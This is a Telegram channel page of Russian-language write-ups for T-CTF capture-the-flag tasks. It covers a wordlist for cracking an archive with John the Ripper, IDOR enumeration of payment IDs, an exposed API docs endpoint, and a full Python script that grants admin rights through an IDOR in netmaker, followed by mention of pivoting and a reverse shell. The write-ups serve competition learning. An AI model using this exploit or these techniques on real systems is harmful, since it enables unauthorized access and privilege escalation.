решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 54264 для подбора.
Смотрим алгоритм шифровани, раз играем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципе base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 54264 варианта, скармливаем архив Джеку рипперу с этим вордлистом, получаем результат за считанные секунды
👍5
Forwarded from S
curl -X PUT https://t-digduper-scx3wg9q.spbctf.net/api/cloner/62a02f86-9c99-432f-bb8e-0f8915baf840 -H "Content-Type: application/json" -d '{"config": {"count": 199999, "timeout": 30}}'
Forwarded from S
это корректиное решение, там еднственная тонкость что каунт до 200 000 и надо меньше. 200000 - входит в множество
Forwarded from GoldKing
1. Регаешься на сайте
2. Потом заходишь в админ панель с помощью
https://t-bugman-rhioogh9.spbctf.net/docs
3. Там есть GET /bugman-photos-stash-20240328
4. Try it out.
5. Там загружается страница и там сразу флаг
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 16млн для подбора.
Смотрим алгоритм шифровани, разбиваем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципу base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 16 млн варианта, скармливаем архив Джеку рипперу с этим вордлистом.
👍1
Forwarded from Айнур Низамов
Кстати по пятнецемобилю. Можно было глянуть кнопку оплаты, она всегда вела на страницу /pay?checkout_id=id, где вместо id какое то число от 1 и далее. Можно было потыкать с разными id и найти ту оплату, где уже кто то решил и получил флаг (на скажет флаг или то, что не хватает средств)
😁95👍2🔥2
39 дней, значит, до Капибаровска
хм
🤔20🤡1🤪1
T-CTF, походу, решили отменить... :(

Источник: я календарь пересмотрю, а там апрель ведь начался
💊19🤣10😁3
9 часов вечера

Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку: @EvgenyKurmysa
Раз уж все задачи называются по типу "Капибада", "Капикойн" и т.д., то к райтапам просьба добавлять название таски с хэштегом В НАЧАЛЕ, вот так: #капипример
4😁1
солянка из райтапов
Forwarded from Dmitriy
TCTF 2025.zip
9.5 MB
> Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку

поделюсь архивом из obsidian (10 задач)
3
Forwarded from Dmitriy
Капибады
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
1
Forwarded from Nik
#Капирайт

1. Достаем IP откуда скачивается видео у
[TCC].Capybarello.Cocosini.2025.Ita.CAMRip.x264.mkv.torrent

2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.

Вот пример сплоита, который можно было написать:
import requests
import json

USERNAME = "kapipapi"
PASSWORD = "Kapipapi123!"
TARGET_URL = f"https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/{USERNAME}"
AUTH_URL = "https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/adm/authenticate"
OAUTH_TOKEN = ""

response = requests.post(AUTH_URL, json={"username": USERNAME, "password": PASSWORD})

OAUTH_TOKEN = response.json()["Response"]["AuthToken"]

headers_escalate = {
"Authorization": f"Bearer {OAUTH_TOKEN}",
"Content-Type": "application/json"
}

payload_escalate = {
"username": USERNAME,
"password": PASSWORD,
"isadmin": True
}

# Send PUT request
response = requests.put(
TARGET_URL,
headers=headers_escalate,
data=json.dumps(payload_escalate)
)

# Check response
if response.status_code == 200:
print("[+] Success! Admin privileges granted.")
print("Response:", response.json())
else:
print("[-] Exploit failed.")
print(f"Status Code: {response.status_code}")
print("Response:", response.text)


6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
🤯52